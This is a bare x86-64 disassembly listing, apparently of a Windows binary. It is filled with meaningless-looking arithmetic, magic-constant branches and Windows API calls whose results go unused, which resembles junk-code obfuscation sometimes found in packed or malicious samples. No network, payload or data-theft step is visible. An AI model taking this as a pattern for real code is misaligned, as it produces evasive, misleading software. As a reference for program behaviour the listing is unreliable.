mov ecx, dword [rsp + 0x2518]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov edx, dword [rsp + 0x256c]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jg 0x140008a20
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4cd0], rax
cmp qword [rsp + 0x4cd0], 0
je 0x140008923
movabs rax, 0x79ca6e39c53747
cmp qword [rsp + 0x4cd0], rax
je 0x140008a0a
jmp 0x140008a1b
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x600]
movsx edx, word [rsp + 0x5c4]
sub ecx, edx
cmp eax, ecx
jl 0x1400089f2
lea rax, [rsp + 0x5e8]
mov qword [rsp + 0x4cd8], rax
mov dword [rsp + 0x2570], 0xc03e
mov rax, qword [rsp + 0x4c18]
movzx eax, word [rax]
mov word [rsp + 0x604], ax
lea rdx, [rsp + 0x13148]
mov rcx, qword [rsp + 0x4c70]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x23ec], eax
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x2574], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x140008a08
mov edx, dword [rsp + 0x2518]
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rax]
call fcn.1400dc260
jmp 0x140008a1b
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov dword [rsp + 0x256c], eax
jmp 0x140008ada
mov rax, qword [rsp + 0x4980]
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov edx, dword [rsp + 0x2454]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x140008ada
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x49c8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x140008abf
lea rcx, [rsp + 0x149c0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x2420], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movzx ecx, word [rsp + 0x604]
call fcn.1400dd490
jmp 0x140008ada
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140108f90], ax
cmp dword [rsp + 0x2460], 0xe7e8
je 0x140008d51
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
or eax, ecx
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x44]
and eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4970], rax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2578], eax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5e8]
add eax, ecx
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x49f8]
mov rdx, qword [rsp + 0x4ca0]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x23f0], eax
lea rdx, [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x246c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x43]
sar eax, cl
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x43]
movzx ecx, byte [rsp + 0x42]
shl eax, cl
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4970], rax
mov eax, dword [rsp + 0x2460]
add eax, 0x25
mov dword [rsp + 0x2460], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x24fc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4c80], rax
mov eax, dword [rsp + 0x24c8]
mov ecx, dword [rsp + 0x2518]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
jmp 0x140008ada
xor r9d, r9d
lea r8, [rsp + 0x4ca0]
mov rdx, qword [rsp + 0x49b0]
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24f4], eax
mov eax, dword [rsp + 0x2574]
mov dword [rsp + 0x257c], eax
cmp dword [rsp + 0x257c], 0x878a
je 0x140008daa
cmp dword [rsp + 0x257c], 0xd5a3
je 0x140008e9c
jmp 0x140008ec0
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5fc]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5e0]
add ecx, edx
cmp eax, ecx
jg 0x140008e5e
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x5fc]
mov rdx, qword [rsp + 0x4cd8]
movzx edx, word [rdx]
imul ecx, edx
cmp eax, ecx
jg 0x140008e5e
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [0x140108f90]
and eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140108008], ax
lea rcx, [rsp + 0x14a40]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x2484], eax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
jmp 0x140008ec0
mov rax, qword [rsp + 0x4cd8]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x604]
mov rax, qword [rsp + 0x4b88]
movzx ecx, word [rax]
call fcn.1400dc650
mov rax, qword [rsp + 0x49c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2580], al
cmp byte [rsp + 0x2580], 0x5b
je 0x140008ede
jmp 0x140008f03
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e8], ax
jmp 0x140008f8e
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov dword [rsp + 0x2584], eax
cmp dword [rsp + 0x2584], 0
je 0x140008f65
cmp dword [rsp + 0x2584], 0x2e
je 0x140008f2b
jmp 0x140008f8e
lea rax, [rsp + 0x2410]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [rsp + 0x4a80]
lea rdx, [rsp + 0x14860]
lea rcx, [rsp + 0x149c0]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x2588], eax
jmp 0x140008f8e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x4978]
movzx ecx, al
mov rax, qword [rsp + 0x4970]
shl rax, cl
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0x4ca0]
mov rdx, qword [rsp + 0x49f8]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x2408], eax
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x4ce8], rax
cmp qword [rsp + 0x4ce8], 0
je 0x140008fee
movabs rax, 0x7def72c8d82e12
cmp qword [rsp + 0x4ce8], rax
je 0x1400da800
jmp 0x1400da8f2
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x4cf0], rax
lea rax, [rsp + 0x600]
mov qword [rsp + 0x4cf8], rax
mov rax, qword [rsp + 0x49c8]
movzx eax, byte [rax]
mov byte [rsp + 0x45], al
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x258c], al
cmp byte [rsp + 0x258c], 0
je 0x140009035
jmp 0x14000908a
mov edx, 0x23b131
mov rcx, qword [rsp + 0x4c70]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x23ec], eax
mov eax, dword [rsp + 0x24d4]
mov ecx, dword [rsp + 0x2454]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2544], eax
lea rax, [rsp + 0x4c80]
mov qword [rsp + 0x4d00], rax
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4d08], rax
jmp 0x1400090ac
lea rcx, [rsp + 0x41]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x2420], eax
mov rax, qword [rsp + 0x4c18]
movzx ecx, word [rax]
call fcn.1400dd490
cmp dword [rsp + 0x249c], 0x88f5
jae 0x1400095a7
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x45]
sub eax, ecx
mov byte [rsp + 0x41], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [rsp + 0x4a90]
and rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov eax, dword [rsp + 0x24c8]
mov ecx, dword [rsp + 0x256c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x4d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x249c]
add eax, 0x3b
mov dword [rsp + 0x249c], eax
movzx ecx, word [rsp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x608], ax
mov eax, dword [rsp + 0x2518]
mov ecx, dword [rsp + 0x2504]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49e0]
mov qword [rsp + 0x4d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d10]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4c90], rax
mov eax, dword [rsp + 0x2574]
movzx ecx, al
mov eax, dword [rsp + 0x2544]
shl eax, cl
mov dword [rsp + 0x24d4], eax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movsx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov word [0x140108008], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0x6041a5
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2578], eax
mov rax, qword [0x140108f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5e0], ax
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3711
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x23f8], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rdx, [rsp + 0x131f0]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x252c], eax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x242c]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24fc], eax
mov rax, qword [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4c80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b50], rax
xor r9d, r9d
lea r8, [rsp + 0x49d0]
mov rdx, qword [rsp + 0x49d0]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24cc], eax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4a90]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf0]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2574]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x600]
shl eax, cl
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5fc]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x49b8], rax
lea rcx, [rsp + 0x12270]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x24c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24a4], eax
lea rdx, [rsp + 0x13228]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x24a8], eax
mov rax, qword [rsp + 0x4b18]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24d4], eax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4d08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4978], rax
movsx eax, word [rsp + 0x604]
movsx ecx, word [rsp + 0x5c8]
add eax, ecx
mov word [rsp + 0x600], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x43]
add eax, ecx
mov byte [rsp + 0x44], al
movzx eax, word [rsp + 0x5fc]
movzx ecx, word [rsp + 0x5e0]
sub eax, ecx
mov word [0x140108f90], ax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x600]
add eax, ecx
mov word [rsp + 0x5c4], ax
jmp 0x1400090ac
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4c90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4978]
mov rdx, qword [rsp + 0x4d08]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x1400096a9
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x24c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov dword [rsp + 0x2590], eax
cmp dword [rsp + 0x2590], 0x475d
je 0x140009685
cmp dword [rsp + 0x2590], 0x7fd6
je 0x14000963f
jmp 0x1400096a4
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c90], rax
mov rax, qword [rsp + 0x4c08]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x23cc]
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rax]
call fcn.1400dcc30
jmp 0x1400096a4
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2454]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x1400097d0
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24fc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2574]
shr edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1400097d0
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x43]
imul eax, ecx
movzx ecx, byte [rsp + 0x42]
cmp eax, ecx
jle 0x1400097c0
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
lea r9, [rsp + 0x4b18]
lea r8, [rsp + 0x14940]
mov edx, 0x22
mov rcx, qword [rsp + 0x4d18]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x4d20], rax
mov r9, qword [rsp + 0x4d28]
mov r8, qword [rsp + 0x4af0]
mov rdx, qword [rsp + 0x4a38]
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x2518], eax
lea rdx, [rsp + 0x4ab8]
lea rcx, [rsp + 0x4c50]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x2594], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4990]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rax]
call fcn.1400dc260
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [rsp + 0x43], al
cmp dword [rsp + 0x2524], 0xa870
je 0x1400099ba
movzx eax, word [rsp + 0x5fc]
movzx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [0x140108f90]
sub eax, ecx
mov word [rsp + 0x5e8], ax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4a90]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
lea rdx, [rsp + 0x4ca0]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x23f4], eax
mov eax, dword [rsp + 0x2524]
add eax, 0xb3
mov dword [rsp + 0x2524], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2490]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c80], rax
mov edx, 0x6eb98e
mov rcx, qword [rsp + 0x4c70]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2514], eax
mov rax, qword [rsp + 0x4cf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x151b0], 0x11c
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x600], ax
lea rcx, str.Freighters_Handsomeness_Direct_Reptilians
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x608], ax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4978]
and rcx, rax
mov rax, rcx
mov qword [section..data], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x2578], eax
jmp 0x1400097d0
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov dword [rsp + 0x2598], eax
cmp dword [rsp + 0x2598], 0
je 0x1400099d7
jmp 0x140009a30
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x43]
imul eax, eax, 0xb5
mov byte [rsp + 0x44], al
mov rax, qword [rsp + 0x4c80]
mov qword [rsp + 0x4d30], rax
movzx ecx, word [rsp + 0x5dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f4], ax
jmp 0x140009a90
mov eax, dword [rsp + 0x24a4]
mov ecx, dword [rsp + 0x2518]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2490], eax
mov eax, dword [rsp + 0x24fc]
mov ecx, dword [rsp + 0x243c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c90], rax
mov rcx, qword [rsp + 0x4d38]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [0x140108f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4cf0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x1400da6b3
mov eax, dword [rsp + 0x2454]
mov dword [rsp + 0x259c], eax
cmp dword [rsp + 0x2554], 0x8558
jb 0x140009d63
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4d08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov dword [rsp + 0x20], 0x9ec
mov r9d, 0xc66
mov r8d, 0x629
mov edx, 0x2ae
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x23ec], eax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
movzx eax, word [rsp + 0x5fc]
movzx ecx, word [rsp + 0x5e0]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x4cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c4]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5fc], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
mov qword [rsp + 0x4d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4d30], rax
mov rax, qword [section..data]
mov rcx, qword [rsp + 0x4a90]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2504]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2410], eax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f4], ax
mov eax, dword [rsp + 0x2554]
sub eax, 0x9a
mov dword [rsp + 0x2554], eax
